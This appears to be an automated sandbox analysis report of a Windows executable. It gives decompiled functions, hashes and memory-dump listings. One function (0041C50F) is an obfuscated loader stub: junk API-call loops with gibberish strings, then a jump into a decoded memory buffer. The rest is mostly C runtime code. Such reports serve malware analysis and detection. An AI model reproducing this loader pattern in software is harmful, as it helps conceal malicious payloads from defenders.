0x00421f6a
0x00421f6f
0x00421f72
0x00421f1b
0x00421f20
0x00421f26
0x00421f26
0x00421f78

APIs

_memset.LIBCMT ref: 00421F6A

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 106ddd9231df8f4c06bee368370c26e605afd832a5b8a2c28835c31f9f88b568
Instruction ID: 871c4d780ede0d4a3fc7e00912b70f2f398620408c6389c8cab862c4cfcda1ad
Opcode Fuzzy Hash: 106ddd9231df8f4c06bee368370c26e605afd832a5b8a2c28835c31f9f88b568
Instruction Fuzzy Hash: E201FFB5600108FFCB04DF98E981E9E73B5AF98354F50C549F9198B260D734EE51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0042D300, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0043028B,?,?,0042D470), ref: 0042D307

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction ID: 720028a9d644b576f4ad2882666f829bdc34b4ea2c5c06e13da83261533cf0d2
Opcode Fuzzy Hash: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction Fuzzy Hash: F4A0123114420863C20012C26809B013A4CD3C87A1F040010F20C050500DA155004055

Uniqueness

Uniqueness Score: -1.00%

Function 004248B0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;

				E00430B40(); // executed
				_t2 = L004248D0(_t3); // executed
				return _t2;
			}

0x004248b5
0x004248ba
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 004248B5

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 7a9fb508720e5441c4ae94ab117905f94f6e1a6da7dbba9c8fd33b5063aa22a7
Instruction ID: 36d153f4efd1409bc2fb2f15f16fd421534293e0b730fe6a665fa1c13482fd80
Opcode Fuzzy Hash: 7a9fb508720e5441c4ae94ab117905f94f6e1a6da7dbba9c8fd33b5063aa22a7
Instruction Fuzzy Hash: EBA0021512569856025033F72427D0AF54D88C571CFE5111AB61C421031C6CB91145AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4FB, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000), ref: 0041C503

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 2be93caafbfa91ef60ab39062a4288727b314bb03ed0258f43a46da13d7dcb22
Instruction ID: 4f95a04367b837b8856e3fbb377a1375b44dfcb0d9cac950204a1c8ff3089f88
Opcode Fuzzy Hash: 2be93caafbfa91ef60ab39062a4288727b314bb03ed0258f43a46da13d7dcb22
Instruction Fuzzy Hash: 6FB012700413008BC7001F60BE04B003EE0B30C342F044025F10551175D7B60040AB2D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4FC, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041C4FC(void* __eax) {
				void* _t3;

				_t3 = GlobalAlloc(0, ??); // executed
				 *0x76fe24 = _t3;
				return _t3;
			}

0x0041c503
0x0041c509
0x0041c50e

APIs

GlobalAlloc.KERNELBASE(00000000), ref: 0041C503

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: f7332fa4574b1842ef9b31d11e7b1403f93bb871ec0777ab5b91a1f6ff8078ad
Instruction ID: 90f4fc122b0b7145a78425f8a0c9b94581b2b2a04ab0109737f84a929f25acac
Opcode Fuzzy Hash: f7332fa4574b1842ef9b31d11e7b1403f93bb871ec0777ab5b91a1f6ff8078ad
Instruction Fuzzy Hash: DBB0127004130046C7001B206D047003990F308342F004035F005A1175E6B400005529

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C50F, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 113
memoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041C50F() {
				signed int _v8;
				char _v1116;
				char _v1120;
				char _v2148;
				union _ULARGE_INTEGER _v2156;
				char _v3180;
				short _v5228;
				struct _COORD _v5232;
				struct _STARTUPINFOA _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5860;
				union _ULARGE_INTEGER _v5868;
				signed int _v5872;
				struct _MEMORYSTATUS _v5904;
				signed int _v5908;

				E00421A00(0x1b3c);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					GetTickCount();
					if( *0x773824 == 0x16) {
						__imp__FreeUserPhysicalPages(0, 0, 0);
						__imp__GetCalendarInfoA(0, 0, 0,  &_v1116, 0,  &_v1120);
						GetProfileStringA("Sukused tirujeto xedu yofaviriwuzibec", "Wuwasakudap pepalujacub", "Kipeziwubayu",  &_v2148, 0);
					}
					SetLastError(0);
					if( *0x773824 == 0x9e) {
						__imp__GetSystemWow64DirectoryA( &_v3180, 0);
						GetWindowsDirectoryW( &_v5228, 0);
						__imp__GetCPInfoExW(0, 0,  &_v5860);
						GetDiskFreeSpaceExW(L"xonuromujoyugilemidunudasuviweb",  &_v5316,  &_v5868,  &_v2156);
						GetStartupInfoA( &_v5308);
						ReadConsoleOutputCharacterA(0, 0, 0, _v5232, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				_t32 = L0041A700( *0x76fe24,  *0x773824, 0x443000);
				_v5872 = _v5872 & 0x00000000;
				while(_v5872 < 0x3e79e) {
					if( *0x773824 == 0x10) {
						_t32 =  &_v5904;
						GlobalMemoryStatus( &_v5904);
					}
					if(_v5872 == 0x1e673) {
						L0041A8D3(_t32);
					}
					_t32 = _v5872 + 1;
					_v5872 = _v5872 + 1;
				}
				_v5908 = _v5908 & 0x00000000;
				while(_v5908 < 0xdd9a7) {
					if( *0x773824 == 0xc01) {
						GetProcessHeap();
						GetProcessHeap();
						GetPrivateProfileIntA(0, 0, 0, 0);
						SetPriorityClass(0, 0);
					}
					_v5908 = _v5908 + 1;
				}
				goto ( *0x76fe24);
			}

0x0041c517
0x0041c51c
0x0041c529
0x0041c536
0x0041c543
0x0041c54b
0x0041c567
0x0041c585
0x0041c585
0x0041c58d
0x0041c59d
0x0041c5a8
0x0041c5b7
0x0041c5c8
0x0041c5e8
0x0041c5f5
0x0041c609
0x0041c609
0x0041c616
0x0041c526
0x00000000
0x0041c618
0x00000000
0x0041c618
0x0041c616
0x0041c630
0x0041c635
0x0041c64b
0x0041c65e
0x0041c660
0x0041c667
0x0041c667
0x0041c677
0x0041c679
0x0041c679
0x0041c644
0x0041c645
0x0041c645
0x0041c680
0x0041c696
0x0041c6ac
0x0041c6ae
0x0041c6b4
0x0041c6c2
0x0041c6cc
0x0041c6cc
0x0041c690
0x0041c690
0x0041c6d4

APIs

GetTickCount.KERNEL32 ref: 0041C536
FreeUserPhysicalPages.KERNEL32(00000000,00000000,00000000), ref: 0041C54B
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,?,00000000,?), ref: 0041C567
GetProfileStringA.KERNEL32(Sukused tirujeto xedu yofaviriwuzibec,Wuwasakudap pepalujacub,Kipeziwubayu,?,00000000), ref: 0041C585
SetLastError.KERNEL32(00000000), ref: 0041C58D
GetSystemWow64DirectoryA.KERNEL32(?,00000000), ref: 0041C5A8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 0041C5B7
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 0041C5C8
GetDiskFreeSpaceExW.KERNEL32(xonuromujoyugilemidunudasuviweb,?,?,?), ref: 0041C5E8
GetStartupInfoA.KERNEL32(?), ref: 0041C5F5
ReadConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C609
GlobalMemoryStatus.KERNEL32 ref: 0041C667
GetProcessHeap.KERNEL32 ref: 0041C6AE
GetProcessHeap.KERNEL32 ref: 0041C6B4
GetPrivateProfileIntA.KERNEL32 ref: 0041C6C2
SetPriorityClass.KERNEL32(00000000,00000000), ref: 0041C6CC

Strings

Kipeziwubayu, xrefs: 0041C576
Sukused tirujeto xedu yofaviriwuzibec, xrefs: 0041C580
u7, xrefs: 0041C60F
xonuromujoyugilemidunudasuviweb, xrefs: 0041C5E3
Wuwasakudap pepalujacub, xrefs: 0041C57B

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Info$DirectoryFreeHeapProcessProfile$CalendarCharacterClassConsoleCountDiskErrorGlobalLastMemoryOutputPagesPhysicalPriorityPrivateReadSpaceStartupStatusStringSystemTickUserWindowsWow64
String ID: Kipeziwubayu$Sukused tirujeto xedu yofaviriwuzibec$Wuwasakudap pepalujacub$xonuromujoyugilemidunudasuviweb$u7
API String ID: 512470950-2528533143
Opcode ID: 9b7406aabd5ee0a419207bb213622106f73c478048cdfe3abe9ee2f68e00b345
Instruction ID: 02e45e96c4c186a34afc299485e80d872a247f518ce760f2cf0ad6f8b96f9c07
Opcode Fuzzy Hash: 9b7406aabd5ee0a419207bb213622106f73c478048cdfe3abe9ee2f68e00b345
Instruction Fuzzy Hash: 88415435984258EFEB209B90DD49FD877B8E704746F1041A6F249E60A0C7B85AC4DF2E

Uniqueness

Uniqueness Score: -1.00%

Function 00425740, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00425740(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x44ad00; // 0xb3655e1f
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x7745e8 = _t6;
				 *0x7745e4 = _t20;
				 *0x7745e0 = _t22;
				 *0x7745dc = _t19;
				 *0x7745d8 = _t25;
				 *0x7745d4 = _t24;
				 *0x774600 = ss;
				 *0x7745f4 = cs;
				 *0x7745d0 = ds;
				 *0x7745cc = es;
				 *0x7745c8 = fs;
				 *0x7745c4 = gs;
				asm("pushfd");
				_pop( *0x7745f8);
				 *0x7745ec =  *_t29;
				 *0x7745f0 = _v0;
				 *0x7745fc =  &_a4;
				 *0x774538 = 0x10001;
				 *0x7744ec =  *0x7745f0;
				 *0x7744e0 = 0xc0000409;
				 *0x7744e4 = 1;
				_t21 =  *0x44ad00; // 0xb3655e1f
				_v812 = _t21;
				_t23 =  *0x44ad04; // 0x4c9aa1e0
				_v808 = _t23;
				 *0x774530 = IsDebuggerPresent();
				_push(1);
				E0042BC60(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("�Dw");
				if( *0x774530 == 0) {
					_push(1);
					E0042BC60(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00425740
0x00425740
0x00425740
0x00425740
0x00425740
0x00425740
0x00425740
0x00425746
0x00425748
0x00425748
0x00431e0b
0x00431e10
0x00431e16
0x00431e1c
0x00431e22
0x00431e28
0x00431e2e
0x00431e35
0x00431e3c
0x00431e43
0x00431e4a
0x00431e51
0x00431e58
0x00431e59
0x00431e62
0x00431e6a
0x00431e72
0x00431e7d
0x00431e8c
0x00431e91
0x00431e9b
0x00431ea5
0x00431eab
0x00431eb1
0x00431eb7
0x00431ec3
0x00431ec8
0x00431eca
0x00431ed4
0x00431edf
0x00431eec
0x00431eee
0x00431ef0
0x00431ef5
0x00431f0d

APIs

IsDebuggerPresent.KERNEL32 ref: 00431EBD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00431ED4
UnhandledExceptionFilter.KERNEL32(Dw), ref: 00431EDF
GetCurrentProcess.KERNEL32(C0000409), ref: 00431EFD
TerminateProcess.KERNEL32(00000000), ref: 00431F04

Strings

Dw, xrefs: 00431EDA

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: Dw
API String ID: 2579439406-3192257026
Opcode ID: 094ac38b1763da9e9b61425bcb7588c99604885a993c721a4cdd6036ff5b0009
Instruction ID: 9c33438c392b778ea6b813272ef203f87419d291e7bbfdab610de6c1d7f2cfb3
Opcode Fuzzy Hash: 094ac38b1763da9e9b61425bcb7588c99604885a993c721a4cdd6036ff5b0009
Instruction Fuzzy Hash: 68210EB8840314DFC710DF65FD89A443BA5BB58389F00816AE80DA7370EB7859E08F8E

Uniqueness

Uniqueness Score: -1.00%

Function 008631FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: c6ef00852c633ae96c65d7acf41a859b9752bdae04954fe00b5d33ce15dabdd5
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: 8C31BF2994445D9ECF2D47B0A45A1D1BBA0EF5A304F6A0DCACB91EFD57CA30A483C793

Uniqueness

Uniqueness Score: -1.00%

Function 00863253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: c5350b818687811e92774ac1d4448d24017348b665bb491572863f5aa009bd6c
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: 36317A2990485D9ACB2D47B5A058191B794EF5E308FB70D8AC791EFE57CA306843C293

Uniqueness

Uniqueness Score: -1.00%

Function 00860042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 17c65b8c1e264780f5fd8fcd7ff84f3c8217351b98df7382fef6225cff4aba60
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 011170723405009FDB54DE65DC91FA773EAFB88320B2A8155E908CB312D676EC01CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0042A365, Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0042A365(signed int __edx) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				signed int _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t621 = __edx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									__eflags = _t623;
									if(_t623 == 0) {
										__eflags =  *(_t674 - 0x10) & 0x00000020;
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											__eflags = _t625;
											if(_t625 == 0) {
												_t485 = E00429820(_t674 + 0x14);
												_t677 = _t676 + 4;
												__eflags = 0;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00429820(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											__eflags = _t671;
											if(_t671 == 0) {
												_t559 = E00429820(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00429820(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00429840(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00429840(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											__eflags =  *(_t674 - 0x30) - 0x200;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00437DD0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00437D60( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										__eflags =  *(_t674 - 0x10) & 0x00000200;
										if(( *(_t674 - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(_t674 - 0x28);
												if( *(_t674 - 0x28) != 0) {
													goto L212;
												}
												L188:
												__eflags =  *(_t674 - 0x10) & 0x00000040;
												if(( *(_t674 - 0x10) & 0x00000040) != 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000100;
													if(( *(_t674 - 0x10) & 0x00000100) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000001;
														if(( *(_t674 - 0x10) & 0x00000001) == 0) {
															__eflags =  *(_t674 - 0x10) & 0x00000002;
															if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																 *((short*)(_t674 - 0x14)) = 0x20;
																 *(_t674 - 0x1c) = 1;
															}
														} else {
															 *((short*)(_t674 - 0x14)) = 0x2b;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2d;
														 *(_t674 - 0x1c) = 1;
													}
												}
												 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
												__eflags =  *(_t674 - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													E004297E0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t677 = _t677 + 0x10;
												}
												E0042AA50( *(_t674 - 0x1c), __eflags, _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t677 = _t677 + 0x10;
												__eflags =  *(_t674 - 0x10) & 0x00000008;
												if(( *(_t674 - 0x10) & 0x00000008) != 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) == 0) {
														E004297E0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t677 = _t677 + 0x10;
													}
												}
												__eflags =  *(_t674 - 0xc);
												if(__eflags != 0) {
													L208:
													E0042AA50( *(_t674 - 0x24), __eflags,  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t677 = _t677 + 0x10;
													goto L209;
												} else {
													L201:
													__eflags =  *(_t674 - 0x24);
													if(__eflags <= 0) {
														goto L208;
													}
													L202:
													 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
													 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
													while(1) {
														L203:
														 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
														__eflags =  *(_t674 - 0x4b4);
														if( *(_t674 - 0x4b4) <= 0) {
															break;
														}
														L204:
														_t537 = E00423790(_t674 - 0x40);
														_t541 = E00439180(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t674 - 0x40))) + 0xac)), _t537);
														_t677 = _t677 + 0x10;
														 *(_t674 - 0x4b8) = _t541;
														__eflags =  *(_t674 - 0x4b8);
														if( *(_t674 - 0x4b8) > 0) {
															L206:
															E00429780( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t677 = _t677 + 0xc;
															 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
															continue;
														}
														L205:
														 *(_t674 - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(_t674 - 0x44c);
													if( *(_t674 - 0x44c) >= 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000004;
														if(( *(_t674 - 0x10) & 0x00000004) != 0) {
															E004297E0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t677 = _t677 + 0x10;
														}
													}
												}
												L212:
												__eflags =  *(_t674 - 0x20);
												if( *(_t674 - 0x20) != 0) {
													L00422680( *(_t674 - 0x20), 2);
													_t677 = _t677 + 8;
													 *(_t674 - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
													_t580 =  *(_t674 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
													__eflags =  *(_t674 - 0x454) & 0x0000ffff;
													if(( *(_t674 - 0x454) & 0x0000ffff) == 0) {
														break;
													}
													L2:
													__eflags =  *(_t674 - 0x44c);
													if( *(_t674 - 0x44c) < 0) {
														break;
													}
													L3:
													__eflags = ( *(_t674 - 0x454) & 0x0000ffff) - 0x20;
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20) {
														L6:
														 *(_t674 - 0x4d8) = 0;
														L7:
														 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
														_t644 =  *(_t674 - 0x450) * 9;
														_t511 =  *(_t674 - 0x45c);
														_t588 = ( *(_t644 + _t511 + 0x4092e8) & 0x000000ff) >> 4;
														 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x4092e8) & 0x000000ff) >> 4;
														__eflags =  *(_t674 - 0x45c) - 8;
														if( *(_t674 - 0x45c) != 8) {
															L16:
															 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
															__eflags =  *(_t674 - 0x4e0) - 7;
															if( *(_t674 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0042A94C))) {
																case 0:
																	L18:
																	 *(_t674 - 0xc) = 1;
																	E00429780( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																	_t677 = _t677 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
